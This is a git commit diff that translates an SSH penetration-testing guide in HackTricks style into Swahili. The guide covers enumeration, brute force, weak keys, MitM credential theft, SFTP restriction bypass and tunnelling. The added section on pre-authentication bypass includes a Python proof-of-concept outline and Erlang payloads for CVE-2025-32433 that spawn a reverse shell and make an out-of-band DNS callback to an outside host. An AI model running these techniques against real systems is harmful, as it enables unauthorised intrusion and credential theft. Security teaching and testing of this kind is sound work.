Translated ['src/network-services-pentesting/pentesting-ssh.md'] to sw

This commit is contained in:
Translator 2025-08-14 00:19:36 +00:00
parent 301050e29c
commit dbe66e5797

View File

@ -4,24 +4,24 @@
## Basic Information
**SSH (Secure Shell au Secure Socket Shell)** ni protokali ya mtandao inayowezesha muunganisho salama kwa kompyuta kupitia mtandao usio salama. Ni muhimu kwa kudumisha usiri na uadilifu wa data wakati wa kufikia mifumo ya mbali.
**SSH (Secure Shell au Secure Socket Shell)** ni protokali ya mtandao inayowezesha muunganisho salama kwa kompyuta kupitia mtandao usio salama. Ni muhimu kwa kudumisha usiri na uadilifu wa data unapofikia mifumo ya mbali.
**Default port:** 22
**Bandari ya kawaida:** 22
```
22/tcp open ssh syn-ack
```
**SSH servers:**
- [openSSH](http://www.openssh.org) OpenBSD SSH, iliyotolewa katika BSD, usambazaji wa Linux na Windows tangu Windows 10
- [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) utekelezaji wa SSH kwa mazingira yenye rasilimali chache za kumbukumbu na processor, iliyotolewa katika OpenWrt
- [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) utekelezaji wa SSH kwa mazingira yenye kumbukumbu na rasilimali za processor za chini, iliyotolewa katika OpenWrt
- [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) utekelezaji wa SSH kwa Windows, mteja hutumiwa mara nyingi lakini matumizi ya seva ni nadra
- [CopSSH](https://www.itefix.net/copssh) utekelezaji wa OpenSSH kwa Windows
**SSH libraries (implementing server-side):**
- [libssh](https://www.libssh.org) maktaba ya C ya majukwaa mengi inayotekeleza protokali ya SSHv2 yenye viambatisho katika [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) na [R](https://github.com/ropensci/ssh); inatumika na KDE kwa sftp na na GitHub kwa miundombinu ya git SSH
- [wolfSSH](https://www.wolfssl.com/products/wolfssh/) maktaba ya seva ya SSHv2 iliyoandikwa kwa ANSI C na iliyolengwa kwa mazingira yaliyo na rasilimali chache, RTOS, na zilizozuiliwa
- [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) maktaba ya java ya Apache SSHD inategemea Apache MINA
- [libssh](https://www.libssh.org) maktaba ya C ya majukwaa mengi inayotekeleza protokali ya SSHv2 ikiwa na viunganishi katika [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) na [R](https://github.com/ropensci/ssh); inatumika na KDE kwa sftp na na GitHub kwa miundombinu ya git SSH
- [wolfSSH](https://www.wolfssl.com/products/wolfssh/) maktaba ya seva ya SSHv2 iliyoandikwa kwa ANSI C na iliyolengwa kwa mazingira yaliyo na vifaa vya ndani, RTOS, na rasilimali zilizopunguzwa
- [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) maktaba ya Apache SSHD ya java inategemea Apache MINA
- [paramiko](https://github.com/paramiko/paramiko) maktaba ya protokali ya Python SSHv2
## Enumeration
@ -40,12 +40,12 @@ ssh-audit ni chombo cha ukaguzi wa usanidi wa ssh server na mteja.
- Msaada wa protokali za SSH1 na SSH2;
- changanua usanidi wa mteja wa SSH;
- pata banner, tambua kifaa au programu na mfumo wa uendeshaji, gundua ufinyu;
- kusanya algorithimu za kubadilishana funguo, funguo za mwenyeji, usimbaji na msimbo wa uthibitishaji wa ujumbe;
- toa taarifa za algorithimu (zinapatikana tangu, zimetolewa/zimemalizwa, zisizo salama/za udhaifu/za zamani, nk);
- toa mapendekezo ya algorithimu (ongeza au ondoa kulingana na toleo la programu lililotambuliwa);
- pata banner, tambua kifaa au programu na mfumo wa uendeshaji, gundua compression;
- kusanya funguo za kubadilishana, funguo za mwenyeji, algorithms za encryption na code za uthibitishaji wa ujumbe;
- toa taarifa za algorithm (zinapatikana tangu, zimetolewa/zimemalizwa, zisizo salama/dhaifu/za zamani, nk);
- toa mapendekezo ya algorithm (ongeza au ondoa kulingana na toleo la programu lililotambuliwa);
- toa taarifa za usalama (masuala yanayohusiana, orodha ya CVE iliyotolewa, nk);
- changanua ulinganifu wa toleo la SSH kulingana na taarifa za algorithimu;
- changanua ulinganifu wa toleo la SSH kulingana na taarifa za algorithm;
- taarifa za kihistoria kutoka OpenSSH, Dropbear SSH na libssh;
- inafanya kazi kwenye Linux na Windows;
- haina utegemezi
@ -75,11 +75,11 @@ $ python3 ssh-audit <IP>
```bash
ssh-keyscan -t rsa <IP> -p <PORT>
```
### Weak Cipher Algorithms
### Algorithimu za Cipher Zenye Ukatili
Hii inagundulika kwa default na **nmap**. Lakini unaweza pia kutumia **sslcan** au **sslyze**.
### Nmap scripts
### Skripti za Nmap
```bash
nmap -p22 <ip> -sC # Send default nmap scripts for SSH
nmap -p22 <ip> -sV # Retrieve version
@ -95,17 +95,17 @@ nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check a
### Username Enumeration
Katika toleo zingine za OpenSSH unaweza kufanya shambulio la wakati ili kuhesabu watumiaji. Unaweza kutumia moduli ya metasploit ili kutumia hii:
Katika toleo fulani la OpenSSH unaweza kufanya shambulio la muda ili kuhesabu watumiaji. Unaweza kutumia moduli ya metasploit ili kutumia hii:
```
msf> use scanner/ssh/ssh_enumusers
```
### [Brute force](../generic-hacking/brute-force.md#ssh)
Baadhi ya akauti za ssh za kawaida [hapa](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt) na [hapa](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt) na chini.
Baadhi ya akisi za kawaida za ssh [hapa](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt) na [hapa](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt) na chini.
### Private Key Brute Force
Ikiwa unajua baadhi ya funguo za ssh za kibinafsi ambazo zinaweza kutumika... hebu jaribu. Unaweza kutumia skripti ya nmap:
Ikiwa unajua baadhi ya funguo za kibinafsi za ssh ambazo zinaweza kutumika... hebu jaribu. Unaweza kutumia skripti ya nmap:
```
https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html
```
@ -123,9 +123,9 @@ https://github.com/rapid7/ssh-badkeys/tree/master/authorized
#### Weak SSH keys / Debian predictable PRNG
Baadhi ya mifumo yana kasoro zinazojulikana katika mbegu za nasibu zinazotumika kuunda vifaa vya cryptographic. Hii inaweza kusababisha kupungua kwa nafasi ya funguo ambayo inaweza kuvunjwa kwa nguvu. Seti za funguo zilizoundwa awali kwenye mifumo ya Debian iliyoathiriwa na PRNG dhaifu zinapatikana hapa: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
Baadhi ya mifumo yana kasoro zinazojulikana katika mbegu za nasibu zinazotumika kuzalisha vifaa vya cryptographic. Hii inaweza kusababisha kupungua kwa kiwango cha funguo ambacho kinaweza kuvunjwa kwa nguvu. Seti za funguo zilizozalishwa awali kwenye mifumo ya Debian iliyoathiriwa na PRNG dhaifu zinapatikana hapa: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
Unapaswa kutafuta hapa ili kutafuta funguo halali za mashine ya mwathirika.
Unapaswa kuangalia hapa ili kutafuta funguo halali za mashine ya mwathirika.
### Kerberos
@ -153,7 +153,7 @@ Kwa maelezo zaidi, endesha `crackmapexec ssh --help`.
## SSH-MitM
Ikiwa uko kwenye mtandao wa ndani kama mwathirika ambaye atajiunga na seva ya SSH kwa kutumia jina la mtumiaji na nenosiri, unaweza kujaribu **kufanya shambulio la MitM ili kuiba akreditivu hizo:**
Ikiwa uko katika mtandao wa ndani kama mwathirika ambaye atajiunga na seva ya SSH kwa kutumia jina la mtumiaji na nenosiri, unaweza kujaribu **kufanya shambulio la MitM ili kuiba akreditivu hizo:**
**Njia ya shambulio:**
@ -163,7 +163,7 @@ Ikiwa uko kwenye mtandao wa ndani kama mwathirika ambaye atajiunga na seva ya SS
[**SSH MITM**](https://github.com/jtesta/ssh-mitm) inafanya hasa kile kilichoelezwa hapo juu.
Ili kukamata kufanya MitM halisi unaweza kutumia mbinu kama vile ARP spoofing, DNS spoofing au nyingine zilizoelezwa katika [**Network Spoofing attacks**](../generic-methodologies-and-resources/pentesting-network/index.html#spoofing).
Ili kukamata kufanya MitM halisi unaweza kutumia mbinu kama ARP spoofing, DNS spoofing au nyingine zilizoelezwa katika [**Mashambulizi ya Spoofing ya Mtandao**](../generic-methodologies-and-resources/pentesting-network/index.html#spoofing).
## SSH-Snake
@ -173,18 +173,18 @@ SSH-Snake inatekeleza kazi zifuatazo kiotomatiki na kwa kurudiarudia:
1. Kwenye mfumo wa sasa, pata funguo zozote za kibinafsi za SSH,
2. Kwenye mfumo wa sasa, pata mwenyeji au marudio yoyote (mtumiaji@host) ambayo funguo za kibinafsi zinaweza kukubaliwa,
3. Jaribu kuingia SSH kwenye marudio yote kwa kutumia funguo zote za kibinafsi zilizogunduliwa,
3. Jaribu kuungana na SSH kwenye marudio yote kwa kutumia funguo zote za kibinafsi zilizogunduliwa,
4. Ikiwa marudio yameunganishwa kwa mafanikio, rudia hatua #1 - #4 kwenye mfumo uliounganishwa.
Ni ya kujirudia kabisa na kujiendeleza - na haina faili kabisa.
Ni ya kujirudia kabisa na kujiendeleza -- na haina faili kabisa.
## Config Misconfigurations
### Root login
Ni kawaida kwa seva za SSH kuruhusu kuingia kwa mtumiaji wa root kwa default, ambayo inatoa hatari kubwa ya usalama. **Kuzima kuingia kwa root** ni hatua muhimu katika kulinda seva. Upatikanaji usioidhinishwa na mamlaka ya usimamizi na mashambulizi ya nguvu yanaweza kupunguzika kwa kufanya mabadiliko haya.
Ni kawaida kwa seva za SSH kuruhusu kuingia kwa mtumiaji wa root kwa default, ambayo inatoa hatari kubwa ya usalama. **Kuzima kuingia kwa root** ni hatua muhimu katika kulinda seva. Ufikiaji usioidhinishwa na mamlaka ya usimamizi na mashambulizi ya nguvu yanaweza kupunguziliwa mbali kwa kufanya mabadiliko haya.
**Kuzima Kuingia kwa Root katika OpenSSH:**
**Ili Kuzima Kuingia kwa Root katika OpenSSH:**
1. **Hariri faili ya usanidi ya SSH** kwa: `sudoedit /etc/ssh/sshd_config`
2. **Badilisha mipangilio** kutoka `#PermitRootLogin yes` hadi **`PermitRootLogin no`**.
@ -197,7 +197,7 @@ Ni kawaida kwa seva za SSH kuruhusu kuingia kwa mtumiaji wa root kwa default, am
### SFTP command execution
Kuna makosa ya kawaida yanayotokea na mipangilio ya SFTP, ambapo wasimamizi wanakusudia kwa watumiaji kubadilishana faili bila kuwezesha ufikiaji wa shell ya mbali. Licha ya kuweka watumiaji na shells zisizoingiliana (k.m., `/usr/bin/nologin`) na kuwafunga kwenye directory maalum, kuna pengo la usalama. **Watumiaji wanaweza kupita vizuizi hivi** kwa kuomba utekelezaji wa amri (kama `/bin/bash`) mara tu baada ya kuingia, kabla shell yao isiyoingiliana haijachukua. Hii inaruhusu utekelezaji usioidhinishwa wa amri, ikikandamiza hatua za usalama zilizokusudiwa.
Kuna makosa ya kawaida yanayotokea na mipangilio ya SFTP, ambapo wasimamizi wanakusudia kwa watumiaji kubadilishana faili bila kuwezesha ufikiaji wa shell ya mbali. Licha ya kuweka watumiaji na shells zisizoingiliana (kwa mfano, `/usr/bin/nologin`) na kuwafunga kwenye directory maalum, kuna pengo la usalama. **Watumiaji wanaweza kupita vizuizi hivi** kwa kuomba utekelezaji wa amri (kama `/bin/bash`) mara tu baada ya kuingia, kabla shell yao isiyoingiliana haijachukua. Hii inaruhusu utekelezaji wa amri zisizoidhinishwa, ikikandamiza hatua za usalama zilizokusudiwa.
[Esampuli kutoka hapa](https://community.turgensec.com/ssh-hacking-guide/):
```bash
@ -232,11 +232,11 @@ PermitTunnel no
X11Forwarding no
PermitTTY no
```
Hii usanidi itaruhusu tu SFTP: kuzuia ufikiaji wa shell kwa kulazimisha amri ya kuanza na kuzuia ufikiaji wa TTY lakini pia kuzuia aina zote za upitishaji bandari au tunneling.
Hii usanidi itaruhusu tu SFTP: kuzuia ufikiaji wa shell kwa kulazimisha amri ya kuanzisha na kuzuia ufikiaji wa TTY lakini pia kuzuia aina zote za upitishaji bandari au tunneling.
### SFTP Tunneling
Ikiwa una ufikiaji wa seva ya SFTP unaweza pia kupitisha trafiki yako kupitia hii kwa mfano kwa kutumia upitishaji bandari wa kawaida:
Ikiwa una ufikiaji wa seva ya SFTP unaweza pia kupitisha trafiki yako kupitia hii kwa mfano ukitumia upitishaji wa bandari wa kawaida:
```bash
sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>
```
@ -244,7 +244,7 @@ sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compro
The **sftp** have the command "**symlink**". Therefor, if you have **writable rights** in some folder, you can create **symlinks** of **other folders/files**. As you are probably **trapped** inside a chroot this **won't be specially useful** for you, but, if you can **access** the created **symlink** from a **no-chroot** **service** (for example, if you can access the symlink from the web), you could **open the symlinked files through the web**.
For example, to create a **symlink** from a new file **"**_**froot**_**" to "**_**/**_**"**:
Kwa mfano, ili kuunda **symlink** kutoka kwa faili mpya **"**_**froot**_**" hadi "**_**/**_**"**:
```bash
sftp> symlink / froot
```
@ -252,20 +252,20 @@ Ikiwa unaweza kufikia faili "_froot_" kupitia wavuti, utaweza kuorodhesha folda
### Njia za uthibitishaji
Katika mazingira ya usalama wa juu, ni kawaida kuwezesha uthibitishaji wa msingi wa funguo au uthibitishaji wa hatua mbili badala ya uthibitishaji wa msingi wa nenosiri rahisi. Lakini mara nyingi njia za uthibitishaji zenye nguvu zinawezeshwa bila kuzima zile dhaifu. Kesi ya kawaida ni kuwezesha `publickey` kwenye usanidi wa openSSH na kuipatia kama njia ya chaguo-msingi lakini bila kuzima `password`. Hivyo kwa kutumia hali ya verbose ya mteja wa SSH, mshambuliaji anaweza kuona kwamba njia dhaifu imewezeshwa:
Katika mazingira ya usalama wa juu, ni kawaida kuwezesha uthibitishaji wa msingi wa funguo au uthibitishaji wa hatua mbili badala ya uthibitishaji wa msingi wa nenosiri rahisi. Lakini mara nyingi njia za uthibitishaji zenye nguvu zinawezeshwa bila kuzima zile dhaifu. Kesi ya kawaida ni kuwezesha `publickey` kwenye usanidi wa openSSH na kuipanga kama njia ya chaguo-msingi lakini bila kuzima `password`. Hivyo kwa kutumia hali ya verbose ya mteja wa SSH, mshambuliaji anaweza kuona kwamba njia dhaifu imewezeshwa:
```bash
ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
...
debug1: Authentications that can continue: publickey,password,keyboard-interactive
```
Ikiwa mipaka ya kushindwa kwa uthibitishaji imewekwa na hujapata nafasi ya kufikia njia ya nywila, unaweza kutumia chaguo la `PreferredAuthentications` kulazimisha kutumia njia hii.
Kwa mfano, ikiwa kikomo cha kushindwa kwa uthibitishaji kimewekwa na hujapata nafasi ya kufikia njia ya nywila, unaweza kutumia chaguo la `PreferredAuthentications` kulazimisha kutumia njia hii.
```bash
ssh -v 192.168.1.94 -o PreferredAuthentications=password
...
debug1: Next authentication method: password
```
Kukagua usanidi wa seva ya SSH ni muhimu kuhakikisha kwamba ni mbinu pekee zinazotarajiwa ndizo zimeidhinishwa. Kutumia hali ya verbose kwenye mteja kunaweza kusaidia kuona ufanisi wa usanidi.
Kukagua usanidi wa seva ya SSH ni muhimu kuhakikisha kwamba njia pekee zinazotarajiwa zimeidhinishwa. Kutumia hali ya verbose kwenye mteja kunaweza kusaidia kuona ufanisi wa usanidi.
### Config files
```bash
@ -281,10 +281,66 @@ id_rsa
- [https://packetstormsecurity.com/files/download/71252/sshfuzz.txt](https://packetstormsecurity.com/files/download/71252/sshfuzz.txt)
- [https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2](https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2)
## Authentication State-Machine Bypass (Pre-Auth RCE)
Mifumo kadhaa ya seva ya SSH ina kasoro za mantiki katika **mashine ya hali ya mwisho ya uthibitishaji** ambayo inaruhusu mteja kutuma ujumbe wa *protocol ya muunganisho* **kabla** ya uthibitishaji kukamilika. Kwa sababu seva inashindwa kuthibitisha kuwa iko katika hali sahihi, ujumbe hao unashughulikiwa kana kwamba mtumiaji ameidhinishwa kikamilifu, na kusababisha **utendaji wa msimbo usio na uthibitisho** au uundaji wa kikao.
Katika kiwango cha protokali, ujumbe wowote wa SSH wenye _nambari ya ujumbe_ **≥ 80** (0x50) unahusiana na tabaka la *muunganisho* (RFC 4254) na lazima **ukubaliwe tu baada ya uthibitishaji kufanikiwa** (RFC 4252). Ikiwa seva inashughulikia mmoja wa ujumbe hao wakati bado iko katika hali ya *SSH_AUTHENTICATION*, mshambuliaji anaweza mara moja kuunda channel na kuomba vitendo kama vile utekelezaji wa amri, kuhamasisha bandari, n.k.
### Generic Exploitation Steps
1. Establish a TCP connection to the targets SSH port (commonly 22, but other services may expose Erlang/OTP on 2022, 830, 2222…).
2. Craft a raw SSH packet:
* 4-byte **packet_length** (big-endian)
* 1-byte **message_code** ≥ 80 (e.g. `SSH_MSG_CHANNEL_OPEN` = 90, `SSH_MSG_CHANNEL_REQUEST` = 98)
* Payload that will be understood by the chosen message type
3. Send the packet(s) **before completing any authentication step**.
4. Interact with the server APIs that are now exposed _pre-auth_ (command execution, port forwarding, file-system access, …).
Python proof-of-concept outline:
```python
import socket, struct
HOST, PORT = '10.10.10.10', 22
s = socket.create_connection((HOST, PORT))
# skip version exchange for brevity send your own client banner then read server banner
# … key exchange can be skipped on vulnerable Erlang/OTP because the bug is hit immediately after the banner
# Packet: len(1)=1, SSH_MSG_CHANNEL_OPEN (90)
pkt = struct.pack('>I', 1) + b'\x5a' # 0x5a = 90
s.sendall(pkt)
# additional CHANNEL_REQUEST packets can follow to run commands
```
Katika mazoezi, utahitaji kufanya (au kupuuzia mbali) kubadilishana funguo kulingana na utekelezaji wa lengo, lakini **hakuna uthibitisho** unaofanywa kamwe.
---
### Erlang/OTP `sshd` (CVE-2025-32433)
* **Tofauti zilizokumbwa:** OTP < 27.3.3, 26.2.5.11, 25.3.2.20
* **Sababu ya msingi:** daemon ya SSH ya asili ya Erlang haithibitishi hali ya sasa kabla ya kuita `ssh_connection:handle_msg/2`. Hivyo, pakiti yoyote yenye msimbo wa ujumbe 80-255 inafikia mpangaji wa muunganisho wakati kikao bado kiko katika hali ya *userauth*.
* **Athari:** utekelezaji wa **msimbo wa mbali usio na uthibitisho** (daemon kwa kawaida inafanya kazi kama **root** kwenye vifaa vilivyojumuishwa/OT).
Mfano wa mzigo unaozalisha shell ya kurudi iliyofungwa kwenye channel inayodhibitiwa na mshambuliaji:
```erlang
% open a channel first … then:
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").
```
Blind RCE / out-of-band detection inaweza kufanywa kupitia DNS:
```erlang
execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession
```
Detection & Mitigation:
* Inspect SSH traffic: **ondoa pakiti yoyote yenye nambari ya ujumbe ≥ 80 iliyogunduliwa kabla ya uthibitishaji**.
* Upgrade Erlang/OTP to **27.3.3 / 26.2.5.11 / 25.3.2.20** or newer.
* Restrict exposure of management ports (22/2022/830/2222) hasa kwenye vifaa vya OT.
---
### Other Implementations Affected
* **libssh** 0.6 0.8 (server side) **CVE-2018-10933** inakubali `SSH_MSG_USERAUTH_SUCCESS` isiyo na uthibitisho iliyotumwa na mteja, kwa ufanisi ni kasoro ya mantiki ya kinyume.
Somoo la kawaida ni kwamba mabadiliko yoyote kutoka kwa mabadiliko ya hali yaliyotolewa na RFC yanaweza kuwa na madhara; unapokagua au kufuzz SSH daemons zingatia kwa makini *utekelezaji wa mashine ya hali*.
## References
- Unaweza kupata miongozo ya kuvutia juu ya jinsi ya kuimarisha SSH katika [https://www.ssh-audit.com/hardening_guides.html](https://www.ssh-audit.com/hardening_guides.html)
- [https://community.turgensec.com/ssh-hacking-guide](https://community.turgensec.com/ssh-hacking-guide)
- [Unit 42 Erlang/OTP SSH CVE-2025-32433](https://unit42.paloaltonetworks.com/erlang-otp-cve-2025-32433/)
- [SSH hardening guides](https://www.ssh-audit.com/hardening_guides.html)
- [Turgensec SSH hacking guide](https://community.turgensec.com/ssh-hacking-guide)
## HackTricks Automatic Commands
```